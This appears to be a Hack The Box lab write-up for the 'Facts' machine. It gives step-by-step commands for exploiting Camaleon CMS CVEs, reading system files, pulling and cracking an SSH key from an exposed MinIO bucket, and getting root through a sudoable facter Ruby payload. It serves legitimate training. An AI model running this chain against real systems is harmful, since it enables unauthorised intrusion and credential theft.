Facts Walkthrough

Machine: Facts#

Date: 22-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:

• Port 22 → SSH (OpenSSH 9.9p1, Ubuntu)
• Port 80 → HTTP (nginx 1.26.3) — redirects to facts.htb

Notes:

• Added hostname: echo "10.129.7.147 facts.htb" | sudo tee -a /etc/hosts
• Website is a “Facts & Curiosities” blog running Camaleon CMS 2.9.0
• MinIO S3 service running internally on port 54321 (not exposed in initial nmap — discovered later)

📂 Enumeration#

Gobuster:#

gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt -t 50

• Found /admin → redirects to /admin/login
• Found /search, /robots.txt, /sitemap, /up

Admin panel:#

• /admin/login → Camaleon CMS 2.9.0 login page
• /admin/register → open registration — created account aaa:aaa
• Version confirmed in footer: Version 2.9.0

SearchSploit:#

searchsploit camaleon

• CVE-2023-30145 — SSTI via formats parameter (patched in 2.9.0)
• CVE-2024-46987 — Authenticated Path Traversal / Arbitrary File Read ← used
• CVE-2024-46986 — Arbitrary File Write (path traversal blocked in 2.9.0)
• CVE-2025-2304 — Privilege Escalation (client → admin) ← used

💥 Exploitation#

Step 1 — Privilege escalation within CMS (CVE-2025-2304):#

git clone https://github.com/Alien0ne/CVE-2025-2304
python3 exploit.py -u http://facts.htb -U aaa -P aaa --newpass bbb

→ Account aaa escalated to admin role

Step 2 — Extract S3 credentials (CVE-2025-2304 -e flag):#

python3 exploit.py -u http://facts.htb -U aaa -P bbb -e

→ S3 credentials extracted:

• s3 access key: [REDACTED]
• s3 secret key: [REDACTED]
• s3 endpoint: http://localhost:54321

Step 3 — LFI to read system files (CVE-2024-46987):#

git clone https://github.com/Goultarde/CVE-2024-46987
python3 CVE-2024-46987.py -u http://facts.htb -l aaa -p bbb /etc/passwd

Users found:

• trivia:x:1000:1000 → /home/trivia
• william:x:1001:1001 → /home/william

User flag found:

python3 CVE-2024-46987.py -u http://facts.htb -l aaa -p bbb /home/william/user.txt

→ [REDACTED]

Step 4 — Access MinIO S3 (port 54321 exposed externally):#

AWS_ACCESS_KEY_ID=[REDACTED] \
AWS_SECRET_ACCESS_KEY='[REDACTED]' \
aws --endpoint-url http://facts.htb:54321 s3 ls

Buckets found:

• randomfacts — web images
• internal — backup of william’s home directory

AWS_ACCESS_KEY_ID=[REDACTED] \
AWS_SECRET_ACCESS_KEY='[REDACTED]' \
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/

→ Found id_ed25519 (encrypted private key) and authorized_keys

Step 5 — Download and crack SSH private key:#

AWS_ACCESS_KEY_ID=[REDACTED] \
AWS_SECRET_ACCESS_KEY='[REDACTED]' \
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519

# Convert to john format (requires john bleeding-jumbo)
~/tools/john-jumbo/run/ssh2john id_ed25519 > id_ed25519.hash
john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt

→ Passphrase: [REDACTED]

Identify user from private key:

ssh-keygen -y -f id_ed25519
# Output matches authorized_keys of trivia → user is trivia

Step 6 — SSH as trivia:#

chmod 600 id_ed25519
ssh trivia@$MACHINE_IP -i id_ed25519
# passphrase: [REDACTED]

→ Shell as trivia ✅

Result: user.txt obtained from /home/william/user.txt via LFI

⚡ Privilege Escalation#

Enumeration:

sudo -l
# (ALL) NOPASSWD: /usr/bin/facter

facter custom-dir RCE — GTFOBins:

echo 'Facter.add(:pwn) do
  setcode do
    system("/bin/bash")
  end
end' > /tmp/pwn.rb

sudo /usr/bin/facter --custom-dir /tmp

→ Root shell ✅

Successful escalation: root

🎯 Loot / Flags#

• user.txt: ``[FLAG REDACTED]→/home/william/user.txt` (read via LFI)
• root.txt: ``[FLAG REDACTED]→/root/root.txt`

📝 Lessons Learned#

• Open registration on CMS admin panels is an immediate foothold — always try /admin/register
• CVE-2025-2304 escalates any CMS user to admin AND extracts S3 credentials — read all exploit flags carefully
• S3/MinIO services may be exposed on non-standard ports not caught by default nmap scans — always do a full port scan
• The internal S3 bucket contained a home directory backup including SSH private keys
• ssh-keygen -y -f id_rsa extracts the public key from a private key — useful to identify the associated username from authorized_keys
• john bleeding-jumbo is required for modern SSH key formats (aes256-ctr) — the packaged Arch version doesn’t support cipher type 6
• facter --custom-dir executes arbitrary Ruby code as root when sudoable — always check GTFOBins for any sudoable binary
• Always scan all ports — MinIO on 54321 was not in the top 1000 ports scanned initially
• Path traversal and SSTI were patched in Camaleon CMS 2.9.0 — always verify the exact version before choosing exploits

#Linux #HTB #Enumeration #Web #Nginx #CMS #CamaleonCMS #Gobuster #UserRegistration #CVE #CVE-2025-2304 #CVE-2024-46987 #PrivilegeEscalation #LFI #FileRead #CredentialExtraction #S3 #MinIO #AWS #BucketEnumeration #SSH #PrivateKey #HashCracking #John #PasswordCracking #LateralMovement #Sudo #Facter #GTFOBins #CommandExecution #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.